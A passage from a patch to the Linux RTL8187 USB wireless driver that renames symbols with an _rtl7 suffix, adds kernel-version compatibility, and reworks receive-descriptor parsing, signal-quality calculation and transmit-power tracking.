if(!priv->rx_urb[i]->transfer_buffer) goto destroy1; - + priv->rx_urb[i]->transfer_buffer_length = RX_URB_SIZE; } - + return 0; - + destroy1: usb_free_urb(priv->rx_urb[i]); - + destroy: while (--i >= 0){ kfree(priv->rx_urb[i]->transfer_buffer); usb_free_urb(priv->rx_urb[i]); } - + kfree(priv->rx_urb); - + priv->rx_urb = NULL; DMESGE("Endpoint Alloc Failure"); return -ENOMEM; - + } void rtl8187_usb_deleteendpoints(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int i; - + if(priv->rx_urb){ for(i=0;irx_urb[i]); @@ -1494,9 +1601,9 @@ } kfree(priv->rx_urb); priv->rx_urb = NULL; - + } - + } @@ -1505,16 +1612,16 @@ int i; u16 word; int basic_rate,min_rr_rate,max_rr_rate; - -// struct r8180_priv *priv = ieee80211_priv(dev); - - //if (ieee80211_is_54g(priv->ieee80211->current_network) && + +// struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + + //if (ieee80211_is_54g_rtl7(priv->ieee80211->current_network) && // priv->ieee80211->state == IEEE80211_LINKED){ basic_rate = ieeerate2rtlrate(240); min_rr_rate = ieeerate2rtlrate(60); max_rr_rate = ieeerate2rtlrate(240); - -// + +// // }else{ // basic_rate = ieeerate2rtlrate(20); // min_rr_rate = ieeerate2rtlrate(10); @@ -1526,21 +1633,21 @@ word = read_nic_word(dev, BRSR); word &= ~BRSR_MBR_8185; - + for(i=0;i<=basic_rate;i++) word |= (1<beacon_interval); rtl8187_net_update(dev); /*update timing params*/ @@ -1553,24 +1660,24 @@ short rtl8180_init(struct net_device *dev) { - - struct r8180_priv *priv = ieee80211_priv(dev); + + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int i, j; u16 word; - int ch; + int ch, chans; //u16 version; - //u8 hw_version; - //u8 config3; - + u8 hw_version; + u8 config3; + //FIXME: these constants are placed in a bad pleace. // priv->txbuffsize = 1024; // priv->txringcount = 32; // priv->rxbuffersize = 1024; -// priv->rxringcount = 32; +// priv->rxringcount = 32; // priv->txbeaconcount = 3; // priv->rx_skb_complete = 1; - //priv->txnp_pending.ispending=0; + //priv->txnp_pending.ispending=0; /* ^^ the SKB does not containt a partial RXed * packet (is empty) */ @@ -1580,15 +1687,24 @@ return -1; } ch=channels; + chans=0; + for (i=1; i<=14; i++) { + if( (u8)(ch & 0x01) ) chans++; + ch >>= 1; + } + DMESG("Enabling %d channels.", chans); + ch=channels; // set channels 1..14 allowed in given locale for (i=1; i<=14; i++) { (priv->ieee80211->channel_map)[i] = (u8)(ch & 0x01); ch >>= 1; } //memcpy(priv->stats,0,sizeof(struct Stats)); - + //priv->irq_enabled=0; - + + priv->dev = dev; + // priv->stats.rxdmafail=0; priv->stats.txrdu=0; // priv->stats.rxrdu=0; @@ -1612,33 +1728,37 @@ // priv->stats.txbeaconerr=0; priv->stats.txlperr=0; priv->stats.txlpokint=0; - + priv->ieee80211->iw_mode = IW_MODE_INFRA; - + priv->retry_rts = DEFAULT_RETRY_RTS; priv->retry_data = DEFAULT_RETRY_DATA; priv->ieee80211->rate = 110; //11 mbps priv->ieee80211->short_slot = 1; - priv->ieee80211->mode = IEEE_G; + priv->ieee80211->mode = IEEE_G|IEEE_B; priv->promisc = (dev->flags & IFF_PROMISC) ? 1:0; spin_lock_init(&priv->tx_lock); +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) INIT_WORK(&priv->reset_wq,(void(*)(void*)) rtl8180_restart,dev); +#else + INIT_WORK(&priv->reset_wq, rtl8180_restart); +#endif sema_init(&priv->wx_sem,1); tasklet_init(&priv->irq_rx_tasklet, (void(*)(unsigned long))rtl8180_irq_rx_tasklet, (unsigned long)priv); - //priv->ieee80211->func = + //priv->ieee80211->func = // kmalloc(sizeof(struct ieee80211_helper_functions),GFP_KERNEL); //memset(priv->ieee80211->func, 0, // sizeof(struct ieee80211_helper_functions)); - priv->ieee80211->current_network.beacon_interval = DEFAULT_BEACONINTERVAL; + priv->ieee80211->current_network.beacon_interval = DEFAULT_BEACONINTERVAL; priv->ieee80211->iw_mode = IW_MODE_INFRA; - priv->ieee80211->softmac_features = IEEE_SOFTMAC_SCAN | - IEEE_SOFTMAC_ASSOCIATE | IEEE_SOFTMAC_PROBERQ | + priv->ieee80211->softmac_features = IEEE_SOFTMAC_SCAN | + IEEE_SOFTMAC_ASSOCIATE | IEEE_SOFTMAC_PROBERQ | IEEE_SOFTMAC_PROBERS | IEEE_SOFTMAC_TX_QUEUE | /*IEEE_SOFTMAC_BEACONS | */IEEE_SOFTMAC_SINGLE_QUEUE; - + priv->ieee80211->active_scan = 1; priv->ieee80211->rate = 110; //11 mbps priv->ieee80211->modulation = IEEE80211_CCK_MODULATION | IEEE80211_OFDM_MODULATION; @@ -1655,51 +1775,51 @@ priv->ieee80211->data_hard_resume = rtl8180_data_hard_resume; //priv->ieee80211->start_send_beacons = NULL; //priv->ieee80211->stop_send_beacons = NULL; - + priv->ieee80211->fts = DEFAULT_FRAG_THRESHOLD; - + priv->card_8185 = 2; priv->phy_ver = 2; priv->card_type = USB; - + #if 0 hw_version =( read_nic_dword(dev, TCR) & TCR_HWVERID_MASK)>>TCR_HWVERID_SHIFT; - + switch (hw_version){ case HW_VERID_R8185_ABC: - DMESG("MAC controller is a RTL8185 b/g"); + DMESG("MAC controller is a RTL8185 b/g"); priv->card_8185 = 1; /* you should not find a card with 8225 PHY ver < C*/ priv->phy_ver = 2; break; - + case HW_VERID_R8185_D: - DMESG("MAC controller is a RTL8185 b/g (V. D)"); + DMESG("MAC controller is a RTL8185 b/g (V. D)"); priv->card_8185 = 2; /* you should not find a card with 8225 PHY ver < C*/ priv->phy_ver = 2; break; - + case HW_VERID_R8180_ABCD: DMESG("MAC controller is a RTL8180"); priv->card_8185 = 0; break; - + case HW_VERID_R8180_F: DMESG("MAC controller is a RTL8180 (v. F)"); priv->card_8185 = 0; break; - + default: DMESGW("MAC chip not recognized: version %x. Assuming RTL8180",hw_version); priv->card_8185 = 0; break; } - - + + /* you should not found any 8185 Ver B Card */ priv->card_8185_Bversion = 0; - + config3 = read_nic_byte(dev, CONFIG3); if(config3 & 0x8){ priv->card_type = CARDBUS; @@ -1715,13 +1835,19 @@ #endif priv->enable_gpio0 = 0; - + + hw_version =( read_nic_dword(dev, TCR) & TCR_HWVERID_MASK)>>TCR_HWVERID_SHIFT; + config3 = read_nic_byte(dev, CONFIG3); + + DMESG("MAC chip version: %02X", hw_version); + DMESG("Card type: %02X", config3); + /* commented out just because we already do this when resetting the card andrea 20050924 */ #if 0 - + u8 txcr, txreg50; u32 txreg54, txreg60; @@ -1757,8 +1883,8 @@ // DMESG("<>", txcr); #endif - - /*the eeprom type is stored in RCR register bit #6 */ + + /*the eeprom type is stored in RCR register bit #6 */ if (RCR_9356SEL & read_nic_dword(dev, RCR)){ priv->epromtype=EPROM_93c56; DMESG("Reported EEPROM chip is a 93c56 (2Kbit)"); @@ -1766,58 +1892,73 @@ priv->epromtype=EPROM_93c46; DMESG("Reported EEPROM chip is a 93c46 (1Kbit)"); } - + dev->get_stats = rtl8180_stats; - + dev->dev_addr[0]=eprom_read(dev,MAC_ADR) & 0xff; dev->dev_addr[1]=(eprom_read(dev,MAC_ADR) & 0xff00)>>8; dev->dev_addr[2]=eprom_read(dev,MAC_ADR+1) & 0xff; dev->dev_addr[3]=(eprom_read(dev,MAC_ADR+1) & 0xff00)>>8; dev->dev_addr[4]=eprom_read(dev,MAC_ADR+2) & 0xff; dev->dev_addr[5]=(eprom_read(dev,MAC_ADR+2) & 0xff00)>>8; - + DMESG("Card MAC address is "MAC_FMT, MAC_ARG(dev->dev_addr)); - + for(i=1,j=0; i<6; i+=2,j++){ - + word = eprom_read(dev,EPROM_TXPW0 + j); priv->chtxpwr[i]=word & 0xf; priv->chtxpwr_ofdm[i]=(word & 0xf0)>>4; priv->chtxpwr[i+1]=(word & 0xf00)>>8; priv->chtxpwr_ofdm[i+1]=(word & 0xf000)>>12; } - + for(i=1,j=0; i<4; i+=2,j++){ - + word = eprom_read(dev,EPROM_TXPW1 + j); priv->chtxpwr[i+6]=word & 0xf; priv->chtxpwr_ofdm[i+6]=(word & 0xf0)>>4; priv->chtxpwr[i+6+1]=(word & 0xf00)>>8; priv->chtxpwr_ofdm[i+6+1]=(word & 0xf000)>>12; } - + for(i=1,j=0; i<4; i+=2,j++){ - + word = eprom_read(dev,EPROM_TXPW2 + j); priv->chtxpwr[i+6+4]=word & 0xf; priv->chtxpwr_ofdm[i+6+4]=(word & 0xf0)>>4; priv->chtxpwr[i+6+4+1]=(word & 0xf00)>>8; priv->chtxpwr_ofdm[i+6+4+1]=(word & 0xf000)>>12; } - - + + priv->rf_chip = 0xff & eprom_read(dev,EPROM_RFCHIPID); - + +#ifdef DEBUG_TX_POWER + dump_tx_power(dev); +#endif + + DMESG("RF Chip ID: %02X", priv->rf_chip); + word = eprom_read(dev,EPROM_TXPW_BASE); priv->cck_txpwr_base = word & 0xf; priv->ofdm_txpwr_base = (word>>4) & 0xf; - + + priv->txpwr_max = 0; + for(i=1; i<15; i++) + { + if(priv->chtxpwr[i] > priv->txpwr_max) priv->txpwr_max = priv->chtxpwr[i]; + if(priv->chtxpwr_ofdm[i] > priv->txpwr_max) priv->txpwr_max = priv->chtxpwr_ofdm[i]; + priv->chtxpwr_orig[i] = priv->chtxpwr[i]; + priv->chtxpwr_ofdm_orig[i] = priv->chtxpwr_ofdm[i]; + } + /* check RF frontend chipset */ - + switch (priv->rf_chip) { - + case EPROM_RFCHIPID_RTL8225U: - + DMESG("Card reports RF frontend Realtek 8225"); DMESGW("This driver has EXPERIMENTAL support for this chipset."); DMESGW("use it with care and at your own risk and"); @@ -1834,28 +1975,28 @@ DMESG("This seems a legacy 1st version radio"); } priv->rf_close = rtl8225_rf_close; - + priv->max_sens = RTL8225_RF_MAX_SENS; priv->sens = RTL8225_RF_DEF_SENS; break; - + default: DMESGW("Unknown RF module %x",priv->rf_chip); DMESGW("Exiting..."); return -1; - + } - + // DMESG("Energy threshold: %x",priv->cs_treshold); DMESG("PAPE from CONFIG2: %x",read_nic_byte(dev,CONFIG2)&0x7); //DMESG("CONFIG2: %x ECONFIG2: %x",read_nic_byte(dev,CONFIG2),eprom_read(dev,EPROM_CONFIG2)); - - if(rtl8187_usb_initendpoints(dev)!=0){ + + if(rtl8187_usb_initendpoints(dev)!=0){ DMESG("Endopoints initialization failed"); return -ENOMEM; } -#if 0 - if (0!=alloc_rx_desc_ring(dev, priv->rxbuffersize, priv->rxringcount)) +#if 0 + if (0!=alloc_rx_desc_ring(dev, priv->rxbuffersize, priv->rxringcount)) return -ENOMEM; if (0!=alloc_tx_desc_ring(dev, priv->txbuffsize, priv->txringcount, @@ -1869,16 +2010,16 @@ if (0!=alloc_tx_desc_ring(dev, priv->txbuffsize, priv->txringcount, TX_LOWPRIORITY_RING_ADDR)) return -ENOMEM; - - + + if (0!=alloc_tx_beacon_desc_ring(dev, priv->txbeaconcount)) return -ENOMEM; #endif - + #ifdef DEBUG_EPROM dump_eprom(dev); -#endif +#endif return 0; } @@ -1898,7 +2039,7 @@ rtl8180_set_mode(dev, EPROM_CMD_CONFIG); conf3 = read_nic_byte(dev, CONFIG3); - write_nic_byte(dev, CONFIG3, conf3 | (1<> 24)); write_nic_byte(dev, 0x7e, ((phyw & 0x00ff0000) >> 16)); write_nic_byte(dev, 0x7d, ((phyw & 0x0000ff00) >> 8)); write_nic_byte(dev, 0x7c, ((phyw & 0x000000ff) )); //read_nic_dword(dev, PHY_ADR); -#if 0 +#if 0 for(i=0;i<10;i++){ write_nic_dword(dev, PHY_ADR, 0xffffff7f & phyw); phyr = read_nic_byte(dev, PHY_READ); if(phyr == (data&0xff)) break; - + } #endif /* this is ok to fail when we write AGC table. check for AGC table might be @@ -1988,60 +2129,60 @@ void rtl8180_adapter_start(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); //u32 anaparam; //u8 config3; - + //rtl8180_rtx_disable(dev); rtl8180_reset(dev); write_nic_byte(dev,0x85,0); write_nic_byte(dev,0x91,0); - + /* light blink! */ write_nic_byte(dev,0x85,4); write_nic_byte(dev,0x91,1); write_nic_byte(dev,0x90,0); - + priv->irq_mask = 0xffff; /* priv->dma_poll_mask = 0; priv->dma_poll_mask|= (1<dev_addr)[0]); write_nic_word(dev, MAC4, ((u32*)dev->dev_addr)[1] & 0xffff ); rtl8180_set_mode(dev, EPROM_CMD_NORMAL); rtl8180_update_msr(dev); - + rtl8180_set_mode(dev, EPROM_CMD_CONFIG); - + write_nic_word(dev,0xf4,0xffff); write_nic_byte(dev, - CONFIG1, (read_nic_byte(dev,CONFIG1) & 0x3f) | 0x80); + CONFIG1, (read_nic_byte(dev,CONFIG1) & 0x3f) | 0x80); rtl8180_set_mode(dev,EPROM_CMD_NORMAL); - - write_nic_dword(dev,INT_TIMEOUT,0); + + write_nic_dword(dev,INT_TIMEOUT,0); #ifdef DEBUG_REGISTERS - rtl8180_dump_reg(dev); + rtl8180_dump_reg(dev); #endif - - - write_nic_byte(dev, WPA_CONFIG, 0); + + + write_nic_byte(dev, WPA_CONFIG, 0); write_nic_byte(dev, RATE_FALLBACK, 0x81); rtl8187_set_rate(dev); - - priv->rf_init(dev); + + priv->rf_init(dev); if(priv->rf_set_sens != NULL) - priv->rf_set_sens(dev,priv->sens); - + priv->rf_set_sens(dev,priv->sens); + write_nic_word(dev,0x5e,1); #if 1 @@ -2054,13 +2195,13 @@ write_nic_byte(dev, 0xff, 0x60); write_nic_word(dev,0x5e,0); - - + + rtl8180_irq_enable(dev); /*DMESG ("lfree %d",get_curr_tx_free_desc(dev,LOW_PRIORITY)); - + DMESG ("nfree %d",get_curr_tx_free_desc(dev,NORM_PRIORITY)); - + DMESG ("hfree %d",get_curr_tx_free_desc(dev,HI_PRIORITY)); if(check_nic_enought_desc(dev,NORM_PRIORITY)) DMESG("NORM OK"); if(check_nic_enought_desc(dev,HI_PRIORITY)) DMESG("HI OK"); @@ -2077,8 +2218,8 @@ void rtl8180_start_tx_beacon(struct net_device *dev) { int i; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - u16 word; + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + u16 word; DMESG("Enabling beacon TX"); //write_nic_byte(dev, 0x42,0xe6);// TCR //rtl8180_init_beacon(dev); @@ -2091,41 +2232,41 @@ //write_nic_word(dev,0x7a,0); //write_nic_word(dev,0x7a,0x8000); - + word = read_nic_word(dev, BcnItv); word &= ~BcnItv_BcnItv; // clear Bcn_Itv write_nic_word(dev, BcnItv, word); - write_nic_word(dev, AtimWnd, + write_nic_word(dev, AtimWnd, read_nic_word(dev, AtimWnd) &~ AtimWnd_AtimWnd); - + word = read_nic_word(dev, BintrItv); word &= ~BintrItv_BintrItv; - - //word |= priv->ieee80211->beacon_interval * + + //word |= priv->ieee80211->beacon_interval * // ((priv->txbeaconcount > 1)?(priv->txbeaconcount-1):1); // FIXME:FIXME check if correct ^^ worked with 0x3e8; - + write_nic_word(dev, BintrItv, word); - + //write_nic_word(dev,0x2e,0xe002); //write_nic_dword(dev,0x30,0xb8c7832e); for(i=0; iieee80211->beacon_cell_ssid[i]); - + // rtl8180_update_msr(dev); - + //write_nic_byte(dev,CONFIG4,3); /* !!!!!!!!!! */ - + rtl8180_set_mode(dev, EPROM_CMD_NORMAL); - + rtl8180_irq_enable(dev); - + /* VV !!!!!!!!!! VV*/ /* rtl8180_set_mode(dev,EPROM_CMD_CONFIG); - write_nic_byte(dev,0x9d,0x00); + write_nic_byte(dev,0x9d,0x00); rtl8180_set_mode(dev,EPROM_CMD_NORMAL); */ } @@ -2135,137 +2276,138 @@ ***************************************************************************/ static struct net_device_stats *rtl8180_stats(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + return &priv->ieee80211->stats; } int _rtl8180_up(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); priv->up=1; - - //DMESG("Bringing up iface"); + +// DMESG("Bringing up iface"); rtl8180_adapter_start(dev); - rtl8180_rx_enable(dev); - rtl8180_tx_enable(dev); - - ieee80211_softmac_start_protocol(priv->ieee80211); - - ieee80211_reset_queue(priv->ieee80211); + ieee80211_softmac_start_protocol_rtl7(priv->ieee80211); + ieee80211_reset_queue_rtl7(priv->ieee80211); if(!netif_queue_stopped(dev)) netif_start_queue(dev); else netif_wake_queue(dev); - return 0; } int rtl8180_open(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int ret; - + down(&priv->wx_sem); + ret = rtl8180_up(dev); up(&priv->wx_sem); return ret; - + } int rtl8180_up(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if (priv->up == 1) return -1; - + return _rtl8180_up(dev); } int rtl8180_close(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int ret; - + down(&priv->wx_sem); - + ret = rtl8180_down(dev); - + up(&priv->wx_sem); - + return ret; } int rtl8180_down(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if (priv->up == 0) return -1; - + priv->up=0; /* FIXME */ if (!netif_queue_stopped(dev)) netif_stop_queue(dev); - + rtl8180_rtx_disable(dev); rtl8180_irq_disable(dev); - ieee80211_softmac_stop_protocol(priv->ieee80211); - + ieee80211_softmac_stop_protocol_rtl7(priv->ieee80211); + return 0; } void rtl8180_commit(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if (priv->up == 0) return ; - - ieee80211_softmac_stop_protocol(priv->ieee80211); - + + ieee80211_softmac_stop_protocol_rtl7(priv->ieee80211); + rtl8180_irq_disable(dev); rtl8180_rtx_disable(dev); _rtl8180_up(dev); } +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void rtl8180_restart(struct work_struct *work) +{ + struct r8180_priv *priv = container_of(work, struct r8180_priv, reset_wq); + struct net_device *dev = priv->dev; +#else void rtl8180_restart(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); +#endif down(&priv->wx_sem); - rtl8180_commit(dev); - + up(&priv->wx_sem); } static void r8180_set_multicast(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); short promisc; //down(&priv->wx_sem); - + /* FIXME FIXME */ - + promisc = (dev->flags & IFF_PROMISC) ? 1:0; - + if (promisc != priv->promisc) // rtl8180_commit(dev); - + priv->promisc = promisc; - + //schedule_work(&priv->reset_wq); //up(&priv->wx_sem); } @@ -2273,17 +2415,17 @@ int r8180_set_mac_adr(struct net_device *dev, void *mac) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); struct sockaddr *addr = mac; - + down(&priv->wx_sem); - + memcpy(dev->dev_addr, addr->sa_data, ETH_ALEN); - + schedule_work(&priv->reset_wq); - + up(&priv->wx_sem); - + return 0; } @@ -2291,16 +2433,18 @@ /* based on ipw2200 driver */ int rtl8180_ioctl(struct net_device *dev, struct ifreq *rq, int cmd) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + struct iwreq *wrq; + int ret; + down(&priv->wx_sem); - - struct iwreq *wrq = (struct iwreq *)rq; - - int ret=-1; + + wrq = (struct iwreq *)rq; + + ret=-1; switch (cmd) { case RTL_IOCTL_WPA_SUPPLICANT: - ret = ieee80211_wpa_supplicant_ioctl(priv->ieee80211, &wrq->u.data); + ret = ieee80211_wpa_supplicant_ioctl_rtl7(priv->ieee80211, &wrq->u.data); break; default: @@ -2309,7 +2453,7 @@ } up(&priv->wx_sem); - + return ret; } @@ -2320,10 +2464,11 @@ struct net_device *dev = (struct net_device*)rx_urb->context; int status,len,flen; struct sk_buff *skb; - u32 *desc; - + u8 *desc; + u8 signal,quality,rate; + //DMESG("rtl8187_rx_isr"); - + struct ieee80211_rx_stats stats = { .signal = 0, .noise = -98, @@ -2332,43 +2477,109 @@ .freq = IEEE80211_24GHZ_BAND, }; + //DMESG("RX %d ",rx_urb->status); status = rx_urb->status; if(status == 0){ - + len = rx_urb->actual_length; - // len = len - 4 - 15 - 1; /* CRC, DESC, SEPARATOR*/ + // len = len - 4 - 15 - 1; /* CRC, DESC, SEPARATOR*/ len -= 4*4;/* 4 dword and 4 byte CRC */ - +#if 0 desc = (u32*)(rx_urb->transfer_buffer + len); - + flen = desc[0] & 0xfff; - + if( flen <= rx_urb->actual_length){ - - stats.signal = (desc[1] & 0x7f00)>>8; - stats.noise = desc[1] &0xff; - stats.rate = desc[0] >> 20 & 0xf; + + //stats.signal = (desc[1] & 0x7f00)>>8; + //stats.noise = desc[1] &0xff; + signal=(desc[1]& (0xff0000))>>16; + signal=(signal&0xfe)>>1; // Modify by hikaru 6.6 + + quality=(desc[1] & (0xff)); + + rate=(desc[0] &((1<<23)|(1<<22)|(1<<21)|(1<<20)))>>20; + // printk(KERN_INFO "rate is %d!\n",rate); + stats.rate = rtl8180_rate2rate(rate); + // printk(KERN_INFO "stats.rate is %d!\n",stats.rate); + //stats.rate = desc[0] >> 20 & 0xf; stats.mac_time[0] = desc[2]; stats.mac_time[1] = desc[3]; +#endif + + desc = rx_urb->transfer_buffer + len; + + flen = ((desc[1] & 0x0f) << 8) + (desc[0] & 0xff); + + if( flen <= rx_urb->actual_length){ + //stats.signal = (desc[1] & 0x7f00)>>8; + //stats.noise = desc[1] &0xff; + signal=(desc[6]& 0xfe)>>1; + //signal=(signal&0xfe)>>1; // Modify by hikaru 6.6 + + quality=desc[4] & 0xff; + + //rate=(desc[2] &((1<<7)|(1<<6)|(1<<5)|(1<<4)))>>4; + rate=(desc[2] & 0xf0)>>4; + // printk(KERN_INFO "rate is %d!\n",rate); + stats.rate = rtl8180_rate2rate(rate); + // printk(KERN_INFO "stats.rate is %d!\n",stats.rate); + //stats.rate = desc[0] >> 20 & 0xf; + stats.mac_time[0] = desc[8] + (desc[9]<<8) + (desc[10]<<16) + (desc[11]<<24); + stats.mac_time[1] = desc[12] + (desc[13]<<8) + (desc[14]<<16) + (desc[15]<<24); + + + //calculate link quality begin + if(!rtl8180_IsWirelessBMode(stats.rate) ) + { // OFDM rate. + if(signal>90) + signal=90; + else if(signal<25) + signal=25; + signal = (90-signal)*100/65; + } + else + { // CCK rate. + if(signal>95) + signal = 95; + else if(signal<30) + signal = 30; + signal =(95-signal )*100/65; + } + priv->wstats.qual.level = signal; + // printk(KERN_INFO "signal is %d!\n",signal); + if(quality > 64) + priv ->wstats.qual.qual = 0; + else + priv ->wstats.qual.qual = ((64-quality) * 100) / 64; // SQ value is the SIGNAL_QUALITY returned to IORequest, + //and this value only appear when STA is associated to AP or + // STA is in IBSS mode + // printk(KERN_INFO "quality is %d!\n",priv->wstats.qual.qual); + priv->wstats.qual.noise = 100 - priv ->wstats.qual.qual; + priv->wstats.qual.updated = 7; + if(priv->ieee80211->iw_mode == IW_MODE_MONITOR) + { + stats.signal = priv->wstats.qual.level; + stats.noise = priv->wstats.qual.noise; + } + //calculate link quality end skb = dev_alloc_skb(flen-4); - //skb_reserve(skb,2); - if(skb){ + if(skb){ memcpy(skb_put(skb,flen-4), rx_urb->transfer_buffer,flen -4); - + #ifdef DUMP_RX int i; for(i=0;itransfer_buffer))[i]); printk("------RATE %x:w---------------\n",stats.rate); - + #endif priv->stats.rxok++; // priv->rxskb = skb; // priv->tempstats = &stats; - - if(!ieee80211_rx(priv->ieee80211, + if(!ieee80211_rx_rtl7(priv->ieee80211, skb, &stats)) dev_kfree_skb_any(skb); } @@ -2376,9 +2587,8 @@ }else{ priv->stats.rxstaterr++; priv->ieee80211->stats.rx_errors++; - } - + if(status != -ENOENT)rtl8187_rx_urbsubmit(dev,rx_urb); else DMESG("RX process aborted due to explicit shutdown"); } @@ -2396,20 +2606,22 @@ struct r8180_priv *priv= NULL; struct usb_device *udev = interface_to_usbdev(intf); -//printk("===> rtl8187_usb_probe()\n"); - - dev = alloc_ieee80211(sizeof(struct r8180_priv)); - +//printk("===> rtl8187_usb_probe()\n"); + + dev = alloc_ieee80211_rtl7(sizeof(struct r8180_priv)); + +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,24) SET_MODULE_OWNER(dev); - usb_set_intfdata(intf, dev); - +#endif + usb_set_intfdata(intf, dev); + SET_NETDEV_DEV(dev, &intf->dev); - priv = ieee80211_priv(dev); + priv = ieee80211_priv_rtl7(dev); priv->ieee80211 = netdev_priv(dev); - + priv->udev=udev; - + dev->open = rtl8180_open; dev->stop = rtl8180_close; //dev->hard_start_xmit = rtl8180_8023_hard_start_xmit; @@ -2418,41 +2630,46 @@ dev->do_ioctl = rtl8180_ioctl; dev->set_multicast_list = r8180_set_multicast; dev->set_mac_address = r8180_set_mac_adr; +#if WIRELESS_EXT >= 12 +#if WIRELESS_EXT < 17 dev->get_wireless_stats = r8180_get_wireless_stats; +#endif + dev->wireless_handlers = (struct iw_handler_def *) &r8180_wx_handlers_def; +#endif dev->type=ARPHRD_ETHER; - + if (dev_alloc_name(dev, ifname) < 0){ DMESG("Oops: devname already taken! Trying wlan%%d...\n"); ifname = "wlan%d"; dev_alloc_name(dev, ifname); } - + // dev->open=rtl8180_init; - - if(rtl8180_init(dev)!=0){ + + if(rtl8180_init(dev)!=0){ DMESG("Initialization failed"); goto fail; } - + netif_carrier_off(dev); netif_stop_queue(dev); - + register_netdev(dev); - + rtl8180_proc_init_one(dev); - - + + DMESG("Driver probe completed\n"); - return 0; + return 0; + - fail: - free_ieee80211(dev); - + free_ieee80211_rtl7(dev); + DMESG("wlan driver load failed\n"); - + return -ENODEV; - + } @@ -2461,13 +2678,13 @@ struct r8180_priv *priv; struct net_device *dev = usb_get_intfdata(intf); if(dev){ - + unregister_netdev(dev); - - priv=ieee80211_priv(dev); - + + priv=ieee80211_priv_rtl7(dev); + rtl8180_proc_remove_one(dev); - + rtl8180_down(dev); priv->rf_close(dev); //rtl8180_rtx_disable(dev); @@ -2478,12 +2695,12 @@ } // pci_disable_device(pdev); - free_ieee80211(dev); + free_ieee80211_rtl7(dev); DMESG("wlan driver removed\n"); } -static int __init rtl8187_usb_module_init(void) +static int __init rtl8187_usb_module_init_rtl7(void) { printk(KERN_INFO "\nLinux kernel driver for RTL8187 \ based WLAN cards\n"); @@ -2495,7 +2712,7 @@ } -static void __exit rtl8187_usb_module_exit(void) +static void __exit rtl8187_usb_module_exit_rtl7(void) { usb_deregister(&rtl8187_usb_driver); @@ -2508,14 +2725,14 @@ { unsigned long flags; short enough_desc; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + spin_lock_irqsave(&priv->tx_lock,flags); enough_desc = check_nic_enought_desc(dev,pri); - spin_unlock_irqrestore(&priv->tx_lock,flags); - + spin_unlock_irqrestore(&priv->tx_lock,flags); + if(enough_desc) - ieee80211_wake_queue(priv->ieee80211); + ieee80211_wake_queue_rtl7(priv->ieee80211); } @@ -2523,5 +2740,5 @@ /*************************************************************************** ------------------- module init / exit stubs ---------------- ****************************************************************************/ -module_init(rtl8187_usb_module_init); -module_exit(rtl8187_usb_module_exit); +module_init(rtl8187_usb_module_init_rtl7); +module_exit(rtl8187_usb_module_exit_rtl7); diff -Naur rtl8187_linux_26.1010.0622.2006/beta-8187/r8187_core.c~ rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8187_core.c~ --- rtl8187_linux_26.1010.0622.2006/beta-8187/r8187_core.c~ 2006-06-22 07:40:10.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8187_core.c~ 1970-01-01 01:00:00.000000000 +0100 @@ -1,2527 +0,0 @@ -/* - This is part of rtl8187 OpenSource driver - v 0.1 - Copyright (C) Andrea Merello 2005 - Released under the terms of GPL (General Public License) - - - Parts of this driver are based on the rtl8180 driver skeleton - from Patric Schenke & Andres Salomon. - - Parts of this driver are based on the Intel Pro Wireless 2*00 GPL drivers. - - some ideas might be derived from David Young rtl8180 netbsd driver. - - Parts of the usb code are from the r8150.c driver in linux kernel - - Some ideas borrowed from the 8139too.c driver included in linux kernel. - - We (I?) want to thanks the Authors of those projecs and also the - Ndiswrapper's project Authors. - - A special big thanks goes also to Realtek corp. for their help in my - attempt to add RTL8187 and RTL8225 support, and to David Young also. - - - Please note that this file is a modified version from rtl8180-sa2400 - drv. So some other people have contributed to this project, and they are - thanked in the rtl8180-sa2400 CHANGELOG. -*/ - -#ifndef CONFIG_FORCE_HARD_FLOAT -double __floatsidf (int i) { return i; } -unsigned int __fixunsdfsi (double d) { return d; } -double __adddf3(double a, double b) { return a+b; } -double __addsf3(float a, float b) { return a+b; } -double __subdf3(double a, double b) { return a-b; } -double __extendsfdf2(float a) {return a;} -#endif - -#undef LOOP_TEST -#undef DUMP_RX -#undef DUMP_TX -#undef DEBUG_TX_DESC2 -#undef RX_DONT_PASS_UL -#undef DEBUG_EPROM -#undef DEBUG_RX_VERBOSE -#undef 